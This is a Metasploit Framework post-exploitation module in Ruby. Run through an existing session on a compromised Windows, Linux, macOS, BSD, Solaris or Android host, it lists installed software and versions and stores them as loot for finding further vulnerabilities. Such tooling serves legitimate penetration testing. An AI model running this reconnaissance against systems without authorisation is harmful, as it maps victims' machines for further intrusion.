metasploit-framework/modules/post/multi/gather/enum_software_versions.rb

173 lines
7.8 KiB
Ruby

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Post
include Msf::Post::Android::Priv
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Multiplatform Installed Software Version Enumerator',
'Description' => %q{
This module, when run against a compromised machine, will gather details on all installed software,
including their versions and if available, when they were installed, and will save it into a loot file for later use.
Users can then use this loot file to determine what additional vulnerabilites may affect the target machine.
Note that for Linux systems, software enumeration is done via package managers. As a result the results may
not reflect all of the available software on the system simply because users may have installed additional
software from alternative sources such as source code that these package managers are not aware of.
},
'License' => MSF_LICENSE,
'Author' => [ 'gwillcox-r7' ],
'Platform' => %w[win linux osx bsd solaris android],
'SessionTypes' => [ 'meterpreter', 'shell' ],
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS],
'Reliability' => []
}
)
)
end
def store_linux_loot(listing)
file = store_loot('host.linux.software.versions', 'text/plain', session, listing, 'installed_software.txt', 'Installed Software and Versions')
print_good("Stored information about the installed products to the loot file at #{file}")
end
def enumerate_android_packages
if command_exists?('pm') == false
print_error("The command 'pm' does not exist on the host")
return nil
end
listing = cmd_exec('pm list packages -f').to_s
if listing.empty?
print_error('No results were returned when trying to get software installed on the Linux host. An error likely occured.')
return nil
end
listing
end
# Run Method for when run command is issued
def run
case session.platform
when 'windows'
if command_exists?('wmic') == false
print_error("The 'wmic' command doesn't exist on this host!") # wmic is technically marked as depreciated so this command could very well be removed in future releases.
return
end
listing = cmd_exec('wmic product get Name, Description, Version, InstallDate', nil, 6000).to_s
unless listing.include?('Description')
print_error('Was unable to get a listing of installed products...')
return
end
file = store_loot('host.windows.software.versions', 'text/plain', session, listing, 'installed_software.txt', 'Installed Software and Versions')
print_good("Stored information about the installed products to the loot file at #{file}")
when 'linux'
# All of the following options were taken from https://distrowatch.com/dwres.php?resource=package-management
# and further verified against VMs that were set up in testing labs.
if command_exists?('apt') # Debian, Ubuntu, and Debian derived distros.
cmd = %w[apt list --installed]
elsif command_exists?('dpkg') # Alternative for Debian based systems
cmd = %w[dpkg -l]
elsif command_exists?('pacman') # Arch and Manjaro are two popular examples
cmd = %w[pacman -Q]
elsif command_exists?('zypper') # OpenSUSE is a popular example
cmd = %w[zypper search -is]
elsif command_exists?('rpm') # Fedora, Centos, RHEL
cmd = %w[rpm -qa]
elsif command_exists?('apk') # Apline
cmd = %w[apk info -v]
elsif command_exists?('qlist') # Gentoo
cmd = %w[qlist -Iv]
elsif command_exists?('pkg') # FreeBSD
cmd = %w[pkg info]
elsif command_exists?('equo') # Sabayon
cmd = %w[equo q list installed -v]
elsif command_exists?('nix-env')
cmd = %w[nix-env -q]
else
print_error("The target system either doesn't have a package manager system, or does not use a known package manager system!")
print_error('Unable to enumerate the software on the target system. Exiting...')
return nil
end
if command_exists?((cmd[0]).to_s) == false
print_error("The command #{cmd[0]} was not found on the target.")
return
else
listing = cmd_exec(cmd.join(' ')).to_s
if listing.empty?
print_error('No results were returned when trying to get software installed on the Linux host. An error likely occured.')
return
end
store_linux_loot(listing)
end
when 'bsd', 'solaris'
if command_exists?('pkg') == false
print_error("The command 'pkg' does not exist on the host")
return
end
listing = cmd_exec('pkg info').to_s
if listing.empty?
print_error('No results were returned when trying to get software installed on the BSD/Solaris host. An error likely occured.')
return
end
file = store_loot('host.bsd.solaris.software.versions', 'text/plain', session, listing, 'installed_software.txt', 'Installed Software and Versions')
print_good("Stored information about the installed products to the loot file at #{file}")
when 'osx'
listing = ''
if command_exists?('system_profiler') == false
print_error("The command 'system_profiler' does not exist on the host! Something is seriously wrong!")
return
end
command_result = cmd_exec('system_profiler SPApplicationsDataType').to_s
if command_result.empty?
print_error('No results were returned when trying to get software installed on the OSX host via system_profiler!')
return
end
listing += command_result
# Start enumerating other potential MacOS package managers now that
# the main system app manager has been enumerated.
if command_exists?('brew') # HomeBrew
listing += "\n\n----------------Brew Packages----------------\n"
listing += cmd_exec('brew list --versions')
end
if command_exists?('port') # MacPorts
listing += "\n\n----------------MacPorts Packages----------------\n"
listing += cmd_exec('port installed')
end
file = store_loot('host.osx.software.versions', 'text/plain', session, listing, 'installed_software.txt', 'Installed Software and Versions')
print_good("Stored information about the installed products to the loot file at #{file}")
when 'android'
if is_root?
if command_exists?('dumpsys') == false
print_error("Something is odd with this Android device. You are root but the dumpsys command doesn't exist. Perhaps the device is too old?")
return
end
listing = cmd_exec('dumpsys package packages').to_s
if listing.empty?
print_error('Something went wrong with the command and no output was returned!')
return
elsif listing =~ /android.permission.DUMP/
print_warning('You do not have the permissions needed to dump the versions of software installed. Reverting to just enumerating what software is installed.')
listing = enumerate_android_packages
return if listing.nil?
end
else
print_warning('You do not have the permissions needed to dump the versions of software installed. Reverting to just enumerating what software is installed.')
listing = enumerate_android_packages
return if listing.nil?
end
file = store_loot('host.android.software.versions', 'text/plain', session, listing, 'installed_software.txt', 'Installed Software and Versions')
print_good("Stored information about the installed products to the loot file at #{file}")
end
end
end